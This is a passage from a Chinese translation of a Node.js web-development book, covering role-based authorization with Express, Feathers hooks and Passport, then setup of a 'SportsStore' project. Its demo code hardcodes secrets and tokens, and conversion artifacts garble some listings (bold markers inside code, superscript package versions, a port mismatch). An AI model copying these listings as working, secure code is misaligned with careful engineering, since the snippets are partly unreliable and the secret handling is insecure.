        await this.storeOrUpdateUser("bob", "mysecret");       
        **await this.storeOrUpdateRole({**
 **name: "Users",** **members: ["alice", "bob"]**
 **});**
 **await this.storeOrUpdateRole({**
 **name: "Admins", members: ["alice"]**
 **});**
    }
    // ...methods omitted for brevity...
   ** async getRole(name: string) {**
 **const stored = await RoleModel.findByPk(name, {**
 **include: [{** **model: CredentialsModel, attributes: ["username"]}]**
 **});**
 **if (stored) {**
 **return {**
 **name: stored.name,**
 **members: stored.CredentialsModels?.****map(m => m.username) ?? []**
 **}**
 **}**
 **return null;**
 **}**
 **async getRolesForUser(username: string): Promise<string[]> {**
 **return** **(await RoleModel.findAll({**
 **include: [{**
 **model: CredentialsModel,**
 **where: { username },**
 **attributes: []**
 **}]**
 **})).map(rm** **=> rm.name);**
 **}**
 **async storeOrUpdateRole(role: Role) {**
 **return await this.sequelize.transaction(****async (transaction) => {**
 **const users = await CredentialsModel.findAll({**
 **where: { username: { [Op.in]: role.members } },**
 **transaction**
 **});** 
**const [rm] = await RoleModel.findOrCreate({**
 **where: { name: role.name}, transaction });**
 **await rm.setCredentialsModels(users, { transaction });**
 **return role;**
 **});**
 **}**
**async validateMembership(username: string, rolename: string) {**
 **return (await this.getRolesForUser(username)).includes(rolename);**
 **}** 
} 

构造函数中的新语句初始化数据库模型,并添加 AdminsUsers 角色,这些角色将用于演示授权过程。

getRole 方法查询数据库中的 RoleModel 对象,并使用 include 选项将相关的 CredentialsModel 对象包含在结果中,这被转换成 RoleStore 接口所需的 Role 结果。我只需要 username 值来创建一个角色,并且我已经使用 attributes 属性指定了 Sequelize 在查询中要包含的列:

...
const stored = await RoleModel.findByPk(name, {
    include: [{ **model: CredentialsModel, attributes: ["username"]**}]
});
... 

include 属性配置为一个对象,其 model 属性指定相关数据,attributes 属性指定要在结果中填充的模型属性。

类似的技术用于实现 getRolesForUser 方法。使用 findAll 方法查询所有 RoleModel 对象,但使用 where 子句根据相关数据进行选择,以便只选择与 CredentialsModel 对象相关联且 username 属性与给定值匹配的 RoleModel 对象。使用空的 attributes 数组来排除结果中的所有 CredentialModel 数据:

...
return (await RoleModel.findAll({
    include: [{
        model: CredentialsModel,
        where: { username },
       ** attributes: []**
    }]
})).map(rm => rm.name);
... 

当模型之间存在关系时,查询可能有几种不同的方法,并且可以从 CredentialModel 类开始,包括 RoleModel 类来获取相同的数据。我的建议是选择对你来说最自然的方法,这将是个人偏好的问题。

storeOrUpdateRole 方法接受一个 Role 对象,并查询数据库以找到所有匹配的 CredentialsModel 对象,这确保了任何没有用户凭据的名称都被忽略。findOrCreate 方法确保数据库中存在 RoleModel 对象,并使用 setCredentialsModels 方法设置角色成员资格。使用事务来确保更新是原子性的。

validateMembership 方法获取用户已被分配的角色,并检查其中之一是否与所需角色匹配。

检查授权

下一步是保护路由,以确保只有被分配到授权角色的用户才能执行操作。实现授权的方法有很多,但其中最简单的一种是使用 Express 的功能,允许将中间件组件添加到单个路由中,这意味着请求可以在传递给路由请求处理器之前进行检查和拒绝。列表 15.20 添加了一个创建中间件组件的函数,该组件限制对一个或多个角色的访问:

列表 15.20:在 src/server/auth 文件夹中的 index.ts 文件中定义守卫处理器

**import { Express****, NextFunction, RequestHandler } from "express";**
import { AuthStore } from "./auth_types";
import { OrmAuthStore } from "./orm_authstore";
import jwt from "jsonwebtoken";
const jwt_secret = "mytokensecret";
const store: AuthStore = new OrmAuthStore();
type User = { username: string }
declare module "express-session" {
    interface SessionData { username: string; }
}
declare global {
    module Express {
        interface Request { user: User, authenticated: boolean }
    }
}
export const createAuth = (app: Express) => {
    // ...other routes omitted for brevity...
 **app.get("/unauthorized", async (req, resp) => {**
 **resp.render("unauthorized");**
 **});**
**}**
**export const roleGuard = (role: string)**
 **: RequestHandler****<Request, Response, NextFunction> => {**
 **return async (req, resp, next) => {**
 **if (req.authenticated) {**
 **const username = req.user.username****;**
 **if (await store.validateMembership(username, role)) {**
 **next();**
 **return;**
 **}**
 **resp.redirect("/unauthorized");**
 **} else {**
 **resp.redirect("/signin"****);** 
 **}**
 **}**
} 

roleGuard函数接受一个角色并返回一个中间件组件,该组件只有在用户被分配到该角色时才会将请求传递到处理器,这是通过 store 提供的validateMembership方法来检查的。

对于未经授权的请求,有两种结果。如果用户尚未认证,则用户将被重定向到/signin URL,以便他们可以自行认证并重试。

对于已认证的请求,用户将被重定向到/unauthorized URL。列表 15.20/unauthorized添加了一个渲染模板的路由。要创建模板,请将名为unauthorized.handlebars的文件添加到templates/server文件夹中,其内容如列表 15.21所示:

列表 15.21:在 templates/server 文件夹中的 unauthorized.handlebars 文件的内容

<div class="bg-danger text-white  m-1 p-2">
    <div class="h2">Unauthorized</div>
    <div class="h4">
        You do not have permission to perform this operation
    </div>
</div>
<a href="/" class="btn btn-secondary mx-1">Back</a> 

最后一步是将守卫应用到限制操作访问,如列表 15.22所示:

列表 15.22:在 src/server 文件夹中的 forms.ts 文件中授权请求

import express, { Express } from "express";
import repository  from "./data";
import cookieMiddleware from "cookie-parser";
import { sessionMiddleware } from "./sessions/session_helpers";
**import { roleGuard }** **from "./auth";**
**import { Result } from "./data/repository";**
const rowLimit = 10;
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
    app.use(cookieMiddleware("mysecret"));
    app.use(sessionMiddleware());
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", async (req, resp) => {
        resp.render("data", {data: await repository.getAllResults(rowLimit)});
    });
  **  app.post("/form/delete/:id", roleGuard("Admins"), async (req, resp) => {**
 **const id =** **Number.parseInt(req.params["id"]);**
        await repository.delete(id);
        resp.redirect("/form");
        resp.end();
    });

   ** app.post("****/form/add", roleGuard("Users"), async (req, resp) => {**
 **const nextage = Number.parseInt(req.body["age"])**
 **+ Number.****parseInt(req.body["years"]);**
 **await repository.saveResult({...req.body, nextage } as Result);**
        resp.redirect("/form");
        resp.end();
    });
} 

/form/add路由限制为Users角色,而/form/delete/:id路由限制为Admins角色。

应用角色守卫揭示了 Express API 类型描述中的不一致性,这导致 TypeScript 编译器对类似这样的语句发出警告:

...
const id = Number.parseInt(req.params.id);
... 

编译器用于Request.params属性的类型已更改,编译器将对id属性发出警告。可以通过向请求处理器添加类型注解来纠正此问题,但快速修复方法是像这样访问属性:

...
const id = Number.parseInt(req.params["id"]);
... 

使用浏览器请求http://localhost:5000,并确保没有用户登录。点击添加按钮。浏览器将向/form/add路由发送请求,但由于请求未经认证,浏览器将被重定向到/signin页面。使用用户名bob和密码mysecret登录,然后再次点击添加按钮。这次,请求已认证,用户已被分配到Users角色,因此请求被授权并传递到请求处理器,该处理器将新值添加到数据库中。

点击删除按钮,浏览器将向/form/delete/:id路由发送请求。请求已认证,但用户没有被分配到Admins角色,因此浏览器被重定向到/unauthorized URL。完整的序列如图 15.4所示。

图 15.4:测试授权

授权 API 请求

我在第十四章中介绍的Feathers包提供了对钩子的支持,这允许拦截请求,并且我使用它来在抛出特定错误时更改状态码。在本章中,我将使用相同的功能来管理授权。第一步是创建一个函数,该函数将创建一个检查用户角色成员资格的钩子,如列表 15.23所示:

列表 15.23:在 src/server/auth 文件夹中的 index.ts 文件中添加钩子函数

import { Express, NextFunction, RequestHandler } from "express"
import { AuthStore } from "./auth_types";
import { OrmAuthStore } from "./orm_authstore";
import jwt from "jsonwebtoken";
**import { HookContext } from "@feathersjs/feathers";**
const jwt_secret = "mytokensecret";
// ...statements omitted for brevity...
export const roleGuard = (role: string)
        : RequestHandler<Request, Response, NextFunction> => {
    return async (req, resp, next) => {
        if (req.authenticated) {
            const username = req.user.username;
            if (await store.validateMembership(username, role)) {
                next();
                return;
            }
            resp.redirect("/unauthorized");
        } else {
            resp.redirect("/signin");           
        }
    }
}
**export const roleHook = (****role: string) => {**
 **return async (ctx: HookContext) => {**
 **if (!ctx.params.authenticated) {**
 **ctx.http = { status:** **401 };**
 **ctx.result = {};**
 **} else if (!(await store.validateMembership(**
 **ctx.params.user.username, role))) {**
 **ctx.http = {** **status: 403 };**
 **ctx.result = {};**
 **}**
 **}**
**}** 

roleHook函数创建一个钩子,如果用户被分配到指定的角色,则授权访问。用户的身份通过HookContext参数访问,这是 Feathers 在调用钩子时提供的。与用于非 API 请求的路由守卫相比,主要区别在于响应是 HTTP 状态码而不是 HTML 文档。401状态码表示不包含认证数据的请求,当用户已认证但未授权时,会发送403状态码。状态码使用HookContext.http属性设置,设置result属性的效果是终止请求处理。

列表 15.24应用了钩子并配置了 Feathers,使钩子接收请求的认证数据:

列表 15.24:在 src/server/api 文件夹中的 index.ts 文件中应用授权

import { Express } from "express";
import { createAdapter } from "./http_adapter";
import { ResultWebService } from "./results_api";
import { Validator } from "./validation_adapter";
import { ResultWebServiceValidation } from "./results_api_validation";
import { FeathersWrapper } from "./feathers_adapter";
import { feathers } from "@feathersjs/feathers";
import feathersExpress, { rest } from "@feathersjs/express";
import { ValidationError } from "./validation_types";
**import { roleHook } from "../auth";**
export const createApi = (app: Express) => {
    const feathersApp = feathersExpress(feathers(), app).configure(rest());
    const service = new Validator(new ResultWebService(),
        ResultWebServiceValidation);
    **feathersApp.use('/api/results',**
 **(req, resp, next) => {**
 **req.feathers.user = req.user;**
 **req.****feathers.authenticated = req.authenticated;**
 **next();**
 **},**
 **new FeathersWrapper(service));**
    feathersApp.hooks({
        error: {
            all: [(ctx) => {                       
                    if (ctx.error instanceof ValidationError) {
                        ctx.http = { status: 400};
                        ctx.error = undefined;
                    }
                }]
        },
       **before: {**
 **create: [roleHook("Users")],**
 **remove: [roleHook("Admins")],**
 **update: [roleHook("Admins")],**
**patch: [roleHook("Admins")]**
 **}** 
    });
} 

第一步是从请求中获取认证数据并将其添加到feathers属性中,该属性在 Feathers 被使用时添加到请求中,并通过提供给钩子的HookContext对象展示。

第二步是创建钩子来保护 Web 服务。before属性用于注册在调用 Web 服务方法之前被调用的钩子,而createremoveupdatepatch方法由需要UsersAdmins角色的钩子保护。

如果你关闭了本章早期提到的命令行客户端,那么打开一个新的命令提示符,导航到part2app文件夹,并运行列表 15.25中显示的命令:

列表 15.25:启动命令行客户端

npm run cmdline 

选择存储选项,输入数据值,当请求发送时,服务器将响应401状态码,这表示操作需要授权,但请求中没有包含认证数据,如下所示:

? Select an operation Store
? Name? Joe
? Age? 30
? Years? 10
401 Unauthorized 

使用密码mysecretbob的身份登录并重复此过程。这次,请求将包含承载令牌,用户bob已被分配到Users角色,因此操作将被授权,如下所示:

...
? Select an operation Sign In
? Username? bob
? Password? mysecret
{"success":true,"token":"eyJhbGciOi...<...data omitted...>"}
? Select an operation Store
? Name? Joe
? Age? 30
? Years? 10
201 Created
... 

选择删除并输入一个ID。请求将包含一个令牌,但bob没有被分配到Admins角色,因此服务器将响应403状态码:

...
? Select an operation Delete
? ID? 1
403 Forbidden
... 

alice的身份登录并重复执行Delete请求,这将成功,因为alice已被分配到Admins角色:

...
? Username? alice
? Password? mysecret
{"success":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFsaWNlIiwiaWF0IjoxNzA2NDY1NzM2LCJleHAiOjE3MDY0NjkzMzZ9.GWEZl6qypJpdX-csNifgIRjZksZTxc-Nf35uVnTq4Ss"}
? Select an operation Delete
? ID? 1
true
... 

Web 服务的授权过程基于与 HTML 客户端相同的用户数据,但返回状态码使 API 客户端能够得到可以程序化处理的响应。

使用包进行认证和授权

现在你已经了解了在 Web 应用程序中认证和授权是如何协同工作的,是时候用开源包替换一些自定义代码了。

使用开源包进行身份验证有两个很好的理由。第一个理由是,在编写创建安全漏洞的自定义代码时很容易出错。第二个理由是,一个好的身份验证包将支持一系列不同的身份验证策略,包括使用第三方服务(如 Google 和 Facebook)进行身份验证。

在本书的 第三部分 中,我将演示不同的身份验证策略,但在这个章节中,我将使用开源包,但仍然使用用户名和密码进行身份验证。

并非所有功能都可以用自定义代码替换。重点往往放在身份验证上,而授权则留给各个应用程序来实现。

验证 HTML 客户端

我将使用 Passport 包 (www.passportjs.org) 来提供身份验证。Passport 支持广泛的身份验证策略,包括对使用第三方身份验证服务的支持,并提供了一个 API 来实现自定义策略。在本章中,我使用 Local 策略,该策略支持使用本地存储的用户名和密码数据来验证用户,并使用会话来验证后续请求。我还使用了 JWT 策略,该策略使用携带令牌来验证请求。在 part2app 文件夹中运行 清单 15.26 中显示的命令来安装主要的 passport 包、包含策略的包以及所有这些包的类型描述:

清单 15.26:安装包

npm install passport@0.7.0
npm install passport-local@1.0.0
npm install passport-jwt@4.0.1
npm install --save-dev @types/passport@1.0.16
npm install --save-dev @types/passport-local@1.0.38
npm install --save-dev @types/passport-jwt@4.0.1 

Passport 需要配置才能集成到应用程序中。将一个名为 passport_config.ts 的文件添加到 src/server/auth 文件夹中,其内容如 清单 15.27 所示:

清单 15.27:src/server/auth 文件夹中 passport_config.ts 文件的内容

import passport from "passport";
import { Strategy as LocalStrategy }  from "passport-local";
import { Strategy as JwtStrategy, ExtractJwt  } from "passport-jwt";
import { AuthStore } from "./auth_types";
type Config = {
    jwt_secret: string,
    store: AuthStore
}
export const configurePassport = (config: Config) => {
    passport.use(new LocalStrategy(async (username, password, callback) => {
        if (await config.store.validateCredentials(username, password)) {
            return callback(null, { username });
        }
        return callback(null, false);
    }));
    passport.use(new JwtStrategy({
        jwtFromRequest: ExtractJwt.fromAuthHeaderAsBearerToken(),
        secretOrKey: config.jwt_secret
    }, (payload, callback) => {
        return callback(null, { username: payload.username });
    }));
    passport.serializeUser((user, callback) => {
        callback(null, user);
    });
    passport.deserializeUser((user, callback) => {
        callback(null, user as Express.User );
    });   
} 

passport.use 函数用于设置策略,在 清单 15.27 中应用了本地和 JWT 策略。这些策略需要一个验证函数,该函数接收请求数据并返回一个表示用户的对象。

本地策略的验证函数接收用户发送的用户名和密码,使用存储的凭证进行验证。结果通过回调提供给 Passport,要么提供一个表示用户的对象,要么在验证失败时返回 false

...
if (await config.store.validateCredentials(username, password)) {
   ** return callback(null, { username });**
**}**
**return callback(null, false);**
... 

验证函数仅在用户登录时被调用,之后 Passport 使用临时令牌来验证后续请求。一个选项是使用会话 cookie 来存储用户数据,这与自定义代码中使用的方法相同。

JWT 策略的验证方式不同。Passport 不生成 JWT 令牌,而是在收到携带令牌时调用验证函数。策略配置了一个对象,告诉 Passport 如何在请求中定位携带令牌,并提供检查令牌签名的密钥。验证函数接收令牌的有效负载,并负责提供一个表示已认证用户的对象。

serializeUserdeserializeUser 函数由 Passport 用于在会话中包含用户信息。即使在这种情况下,用户数据只是一个包含用户名的对象,这些函数也必须被定义。列表 15.28 使用 Passport 验证请求:

列表 15.28:在 src/server/auth 文件夹中的 index.ts 文件中使用 Passport

import { Express, NextFunction, RequestHandler } from "express"
import { AuthStore } from "./auth_types";
import { OrmAuthStore } from "./orm_authstore";
import jwt from "jsonwebtoken";
import { HookContext } from "@feathersjs/feathers";
**import passport** **from "passport";**
**import { configurePassport } from "./passport_config";**
const jwt_secret = "mytokensecret";
const store: AuthStore = new OrmAuthStore();
**//type User = { username: string }**
declare module "express-session" {
    interface SessionData { username: string; }
}
declare global {
    module Express {
       ** //interface Request { user: User, authenticated: boolean }**
 **interface Request { authenticated: boolean }**
 **interface User {**
 **username: string**
 **}**
    }
}
export const createAuth = (app: Express) => {
    configurePassport({ store, jwt_secret });
    app.get("/signin", (req, resp) => {
        const data = {
            **// username: req.query["username"],**
 **// password: req.query["password"],**
            failed: req.query["failed"] ? true : false,
            signinpage: true
        }
        resp.render("signin", data);
    });
   ** app.post****("/signin", passport.authenticate("local", {**
 **failureRedirect: `/signin?failed=1`,**
 **successRedirect: "/"**
 **}));**
 **app.use(passport.authenticate****("session"), (req, resp, next) => {**
 **resp.locals.user = req.user;**
 **resp.locals.authenticated**
 **= req.authenticated = req.user** **!== undefined;** 
 **next();**
 **});**
    app.post("/api/signin", async (req, resp) => {
        const username = req.body.username;
        const password = req.body.password;
        const result: any = {
            success: await store.validateCredentials(username, password)
        }
        if (result.success) {
            result.token = jwt.sign({username} , jwt_secret,
                { expiresIn: "1hr"});
        }
        resp.json(result);
        resp.end();   
    });
    app.post("/signout", async (req, resp) => {
        req.session.destroy(() => {
            resp.redirect("/");
        })
    });
    app.get("/unauthorized", async (req, resp) => {
        resp.render("unauthorized");
    });
}
export const roleGuard = (role: string)
        : RequestHandler<Request, Response, NextFunction> => {
    return async (req, resp, next) => {
        if (req.authenticated) {
           ** const username = req.user****?.username;**
 **if (username != undefined**
 **&& await store.validateMembership(username, role)) {**
                next();
                return;
            }
            resp.redirect("/unauthorized");
        } else {
            resp.redirect("/signin");
        }
    }
}
export const roleHook = (role: string) => {
    return async (ctx: HookContext) => {
        if (!ctx.params.authenticated) {
            ctx.http = { status: 401 };
            ctx.result = {};
        } else if (!(await store.validateMembership(
                ctx.params.user.username, role))) {
            ctx.http = { status: 403 };
            ctx.result = {};
        }
    }
} 

Passport 为 ExpressRequest 对象提供了自己的扩展,因此需要进行调整以防止冲突。Passportauthenticate 函数被使用两次。当与路由一起使用时,authenticate 方法用于创建一个请求处理器,该处理器将使用本地策略验证凭据:

...
app.post("/signin", passport.**authenticate**("local", {
... 

配置选项告诉 Passport 在成功和失败的登录尝试中应将浏览器重定向到何处。Passport 不在失败的登录尝试的重定向中包含用户名和密码,这就是为什么在渲染登录模板时不再包含这些值。

authenticate 函数的另一种用途是验证请求,参数指定会话是认证数据的来源:

...
app.use(passport.**authenticate**("session"), (req, resp, next) => {
... 

Passport 没有名为 authenticate 的属性,但后续的处理函数允许设置该属性,以及模板所需的本地数据。

如前所述,Passport 不创建 JWT 令牌,因此验证 API 客户端的代码保持不变。然而,Passport 确实 验证 JWT 令牌,这就是为什么在 列表 15.28 中移除了读取和验证携带令牌的代码。列表 15.29 使用 Passport 验证 Web 服务请求的携带令牌:

列表 15.29:在 src/server/api 文件夹中的 index.ts 文件中使用 Passport

import { Express } from "express";
import { createAdapter } from "./http_adapter";
import { ResultWebService } from "./results_api";
import { Validator } from "./validation_adapter";
import { ResultWebServiceValidation } from "./results_api_validation";
import { FeathersWrapper } from "./feathers_adapter";
import { feathers } from "@feathersjs/feathers";
import feathersExpress, { rest } from "@feathersjs/express";
import { ValidationError } from "./validation_types";
import { roleHook } from "../auth";
**import passport from "passport";**
export const createApi = (app: Express) => {
    const feathersApp = feathersExpress(feathers(), app).configure(rest());
    const service = new Validator(new ResultWebService(),
        ResultWebServiceValidation);
    **feathersApp.use('/api/results',**
 **passport.authenticate("jwt", { session: false** **}),**
 **(req, resp, next) => {**
 **req.feathers.user = req.user;**
 **req.feathers.authenticated**
 **= req.authenticated = req.user !== undefined****;**
 **next();**
 **},**
 **new FeathersWrapper(service));**
    feathersApp.hooks({
        error: {
            all: [(ctx) => {                       
                    if (ctx.error instanceof ValidationError) {
                        ctx.http = { status: 400};
                        ctx.error = undefined;
                    }
                }]
        },
        before: {
            create: [roleHook("Users")],
            remove: [roleHook("Admins")],
            update: [roleHook("Admins")],
            patch: [roleHook("Admins")]
        }       
    });
} 

authenticate 函数用于创建一个请求处理器,该处理器将使用 JWT 策略验证令牌。后续函数用于设置 Feathers 钩子使用的值,以便执行授权检查。

注意

Feathers 有自己的认证和授权功能,如果你正在创建一个独立的 API 项目,这些功能非常有用,它们在 feathersjs.com/api/authentication 中进行了描述。混合来自多个包的认证功能可能很困难,这就是为什么我在示例中使用了 Passport 进行所有认证,即使某些功能,如 JWT 创建,不可用。

Passport 包的使用不会改变身份验证的工作方式,用户以相同的方式登录应用程序。区别在于减少了自定义代码并支持更广泛的身份验证策略,这使得将应用程序集成到现有环境或使用第三方身份验证服务变得更加容易。

执行基于角色的授权仍需要自定义代码,这就是为什么理解用户和请求是如何进行身份验证的,以及如何使用这些结果来限制对应用程序功能的访问很重要的原因。

摘要

在本章中,我演示了如何对用户和请求进行身份验证,以及如何使用身份验证数据授权访问应用程序功能:

  • 用户通过 HTML 表单或 JSON 有效负载展示其凭证。

  • 当凭证得到验证时,客户端会收到一个临时令牌,该令牌可用于验证后续请求。

  • 临时身份验证令牌可以是 cookie(通常使用会话 cookie)或携带令牌。

  • 授权通常通过角色来执行,这可以防止你需要在应用程序中硬编码用户权限。用户和角色之间的关系存储在数据库中,因此可以在不发布新版本应用程序的情况下进行修改。

  • 对于用户和请求的身份验证,有可用的开源包,但通常使用自定义代码进行授权。

第三部分中,我使用本书第一部分第二部分中描述的功能创建了一个在线商店,展示了应用程序的不同部分是如何协同工作的。

第三部分

SportsStore

通过构建一个真实的在线商店,完成你的 Node.js Web 应用程序之旅,这个商店使用了本书第1部分和第2部分中描述的功能。

本部分包含以下章节:

  • 第十六章SportsStore:一个真实的应用程序

  • 第十七章SportsStore:导航和购物车

  • 第十八章SportsStore:订单和验证

  • 第十九章SportsStore:认证

  • 第二十章SportsStore:管理

  • 第二十一章SportsStore:部署

第十六章:SportsStore:一个真实的应用程序

在前面的每一章中,我专注于网络应用程序所需的一个特定功能,这使我能够深入了解细节。在这本书的这一部分,我展示了前面章节中描述的功能是如何组合起来构建一个简单但真实的电子商务应用的。

我的应用程序,名为 SportsStore,将遵循全球在线商店采用的经典方法。我将创建一个在线产品目录,客户可以浏览或搜索,一个购物车,用户可以添加和删除产品,以及一个结账页面,客户可以输入他们的送货详情。我还会创建一个管理区域,提供管理目录的设施,并且我会保护它,以确保只有授权用户才能进行更改。

在本书的这一部分,我的目标是通过对尽可能真实的示例进行创建,让你对真正的网络应用开发有一个感性的认识。当然,我想要专注于 Node.js,因此我简化了与外部系统的集成,例如数据库,并完全省略了其他一些系统,例如支付处理。

理解项目结构

SportsStore 应用程序跨越六个章节,包含许多文件,其中一些文件具有相同的名称,这可能是 TypeScript/JavaScript 的要求,也可能是我的开发风格所致。例如,会有多个index.ts文件,因为这是 JavaScript 在从模块导入时使用的文件名。也会有多个文件名称包含术语helper,因为这是我编写支持应用程序其他部分的代码的方式。为了快速参考,表 16.1提供了完成后的 SportsStore 项目的结构的高级概述,这将为你阅读章节和跟随示例提供上下文。

表 16.1:项目布局和关键文件

文件夹 描述

|

`dist` 
此文件夹将包含由 TypeScript 编译器创建的 JavaScript 文件,这些文件将由 Node.js 执行。

|

`src` 
此文件夹将包含 SportsStore 应用程序的所有源代码,并将编译到dist文件夹中。

|

`src/admin` 
此文件夹支持在第二十章中创建的管理功能。

|

`src/config` 
此文件夹包含为应用程序其余部分提供配置设置的代码,这些设置是从配置文件和环境设置中读取的。

|

`src/data` 
此文件夹包含所有与处理数据相关的功能。

|

`src/data/orm` 
此文件夹包含数据模型的Sequelize实现。

|

`src/data/validation` 
此文件夹包含验证用户输入的代码。

|

`src/helpers` 
此文件夹包含无逻辑模板包的辅助工具。

|

`src/routes` 
此文件夹包含匹配和处理请求的 HTTP 路由。

|

`src/authentication.ts` 
此文件中的代码配置用户身份验证。

|

`src/errors.ts` 
此文件中的代码创建 HTTP 错误响应。

|

`src/server.ts` 
当 SportsStore 应用程序启动时,此文件中的代码被执行,负责设置应用程序功能和创建 HTTP 服务器。

|

`src/sessions.ts` 
此文件中的代码设置基于 cookie 的 HTTP 会话。

|

`templates` 
此文件夹包含服务器将用于为 HTML 客户端渲染内容的模板。

|

`products.json` 
此文件包含用于填充目录的产品数据。

|

`server.config.json` 
这是应用程序的主要配置文件。

|

`development.env` 
此文件用于在开发期间将秘密作为环境变量存储。

SportsStore项目的结构至少部分反映了我喜欢编写软件的方式。你不必在你的项目中遵循这种模式,我鼓励你找到组织功能的方法,使它们与你思考需要解决的问题的方式相对应。

创建项目

打开一个新的命令提示符,导航到一个方便的位置,并创建一个名为sportsstore的文件夹。导航到sportsstore文件夹,运行清单 16.1中显示的命令以初始化项目,并创建package.json文件。

提示

您可以从github.com/PacktPublishing/Mastering-Node.js-Web-Development下载本章的示例项目——以及本书中所有其他章节的示例项目。有关运行示例时遇到问题的帮助,请参阅第一章

清单 16.1:初始化项目

npm init -y 

设置开发工具

我将首先设置一个工具链,该工具链将监视项目中的 TypeScript 文件,并在有更改时编译和执行它们。在sportsstore文件夹中运行清单 16.2中显示的命令以安装开发工具包。

清单 16.2:安装开发工具包

npm install --save-dev typescript@5.2.2
npm install --save-dev tsc-watch@6.0.4
npm install --save-dev nodemon@3.0.3
npm install --save-dev @tsconfig/node20
npm install --save-dev @types/node@20.6.1 

这些包在表 16.2中有描述,供快速参考。

表 16.2:开发包

名称 描述
typescript 此包包含 TypeScript 编译器。
tsc-watch 此包监视项目中的 TypeScript 文件,并在有更改时编译它们。
nodemon 此包监视更广泛的文件类型,并在检测到更改时执行命令。
@tsconfig/node20 此包包含适用于 Node.js 项目的 TypeScript 编译器配置文件。
@types/node 此包包含 Node.js API 的类型描述。

创建src文件夹,并向其中添加一个名为server.ts的文件,其内容如清单 16.3所示,该文件将在设置开发工具时充当占位符。

清单 16.3:src 文件夹中 server.ts 文件的内容

console.log("Hello, SportsStore"); 

要配置 TypeScript 编译器,请将一个名为tsconfig.json的文件添加到sportsstore文件夹中,其内容如清单 16.4所示。

清单 16.4:sportsstore 文件夹中 tsconfig.json 文件的内容

{
    "extends": "@tsconfig/node20/tsconfig.json",
     "compilerOptions": {                      
         "rootDir": "src/",  
         "outDir": "dist/"       
     },
     "include": ["src/**/*"]
} 

此配置基于@tsconfig/node20包提供的基本设置,指定源文件位于src文件夹中,编译后的 JavaScript 文件应写入src文件夹。

要设置文件监视器,替换package.json文件的scripts部分并添加nodemonConfig部分,如清单 16.5所示。

清单 16.5:设置 sportsstore 文件夹中 package.json 文件的 scripts 部分

{
  "name": "sportsstore",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
 **"scripts": {**
 **"watch": "tsc-watch --noClear --onsuccess \"node dist/server.js\"",**
 **"start": "nodemon --exec npm run watch"**
 **},**
 **"****nodemonConfig": {**
 **"ext": "js,handlebars,json",**
 **"ignore": ["dist/**", "node_modules/**"]**
 **},**
  "keywords": [],
  "author": "",
  "license": "ISC",
  "devDependencies": {
    "@tsconfig/node20": "²⁰.1.2",
    "@types/node": "²⁰.6.1",
    "nodemon": "³.0.3",
    "tsc-watch": "⁶.0.4",
    "typescript": "⁵.2.2"
  }
} 

早期章节仅使用tsc-watch包来监视和构建 TypeScript 文件,并在有更改时重新启动应用程序。当与其他文件类型(如模板)一起工作时,这种做法可能会令人沮丧,因为更改不会触发重启。Bundler 包,如 webpack(在第七章中使用),可以用于创建复杂的构建管道,但我的偏好是将tsc-watchnodemon包结合使用,当文件更改时,它会重新启动进程。start脚本使用nodemon运行tsc-watch,然后tsc-watch以监视模式启动 TypeScript 编译器。如果 TypeScript 文件发生更改,则 TypeScript 编译器将 TypeScript 文件编译成 JavaScript,然后由tsc-watch包执行。如果非 TypeScript 文件发生更改,则nodemon包重新启动tsc-watch,确保应用程序重新启动。nodemonConfig部分指定nodemon响应的文件扩展名和一组要忽略的目录。这不是一个完美的工具配置,但它可靠且响应迅速,我使用这些包时遇到的问题比尝试配置 webpack 要少,因为 webpack 在处理 TypeScript 文件时有一些限制。

打开一个新的命令提示符,导航到sportsstore文件夹,并运行清单 16.6中显示的命令以启动构建过程。

Listing 16.6: Starting the build process 
npm start 

构建工具将生成纯 JavaScript 文件,这些文件将由 Node.js 执行,产生以下输出:

...
Hello, SportsStore
... 

文件更改将被自动检测,触发新的构建然后执行输出。

处理 HTTP 请求

下一步是添加处理 HTTP 请求的支持,这是 SportsStore 应用程序及其所有功能的基础。在sportsstore文件夹中运行清单 16.7中显示的命令以添加 HTTP 包。

清单 16.7:安装基本应用程序包

npm install express@4.18.2
npm install helmet@7.1.0
npm install --save-dev @types/express@4.17.20 

这些包在表 16.3中描述,以便快速参考,但它们提供了对基本 Node.js HTTP 功能的增强,并设置了一个合理的内联安全策略。

表 16.3:HTTP 处理包

名称 描述
express 此包包含 Express HTTP 框架,该框架在第五章中介绍。
helmet 此包用于设置 HTTP 内容安全策略,如第七章所述。
@types/express 此包包含 Express API 的类型描述。

server.ts 文件的内容替换为 列表 16.8 中所示的代码,以创建一个基本的 HTTP 服务器。(开发时将使用纯 HTTP,当应用程序准备部署时,将在 第二十一章 中介绍 HTTPS。)

列表 16.8:在 src 文件夹中的 server.ts 文件中创建基本的 HTTP 服务器

import { createServer } from "http";
import express, { Express } from "express";
import helmet from "helmet";
const port = 5000;
const expressApp: Express = express();
expressApp.use(helmet());
expressApp.use(express.json());
expressApp.use(express.urlencoded({extended: true}))
expressApp.get("/", (req, resp) => {
    resp.send("Hello, SportsStore");
})
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

新代码使用 Express 并启用了解码 JSON 和表单编码内容的支持,使用 jsonurlencoded 方法。有一个单独的路由处理 GET 请求并返回一个字符串。打开网页浏览器,请求 http://localhost:5500,你应该会看到 图 16.1 中所示的响应。

图片

图 16.1:应用程序的响应

创建配置系统

服务器监听 HTTP 请求的端口硬编码在 server.ts 文件中,这意味着更改端口将需要构建和部署应用程序的新版本。一种更灵活的方法是在配置文件中定义设置,该文件在应用程序启动时读取,并且可以修改而无需更改代码。

创建 src/config 文件夹,并向其中添加一个名为 environment.ts 的文件,其内容如 列表 16.9 所示。

列表 16.9:src/config 文件夹中 environment.ts 文件的内容

export enum Env {
    Development = "development", Production = "production"
}
export const getEnvironment = () : Env => {
    const env = process.env.NODE_ENV;
    return  env === undefined || env === Env.Development
        ? Env.Development : Env.Production;
} 

大多数应用程序需要针对不同环境的不同配置,例如开发和生产。Node.js 的约定是使用名为 NODE_ENV 的环境变量来指定环境。应用程序可以支持所需的环境数量,但最小的方法是支持开发和生产环境。如果 NODE_ENV 变量未设置或已设置为 development,则应用程序处于开发环境。列表 16.9 中的代码允许一致地读取环境,而无需应用程序的不同部分检查和解释环境变量。

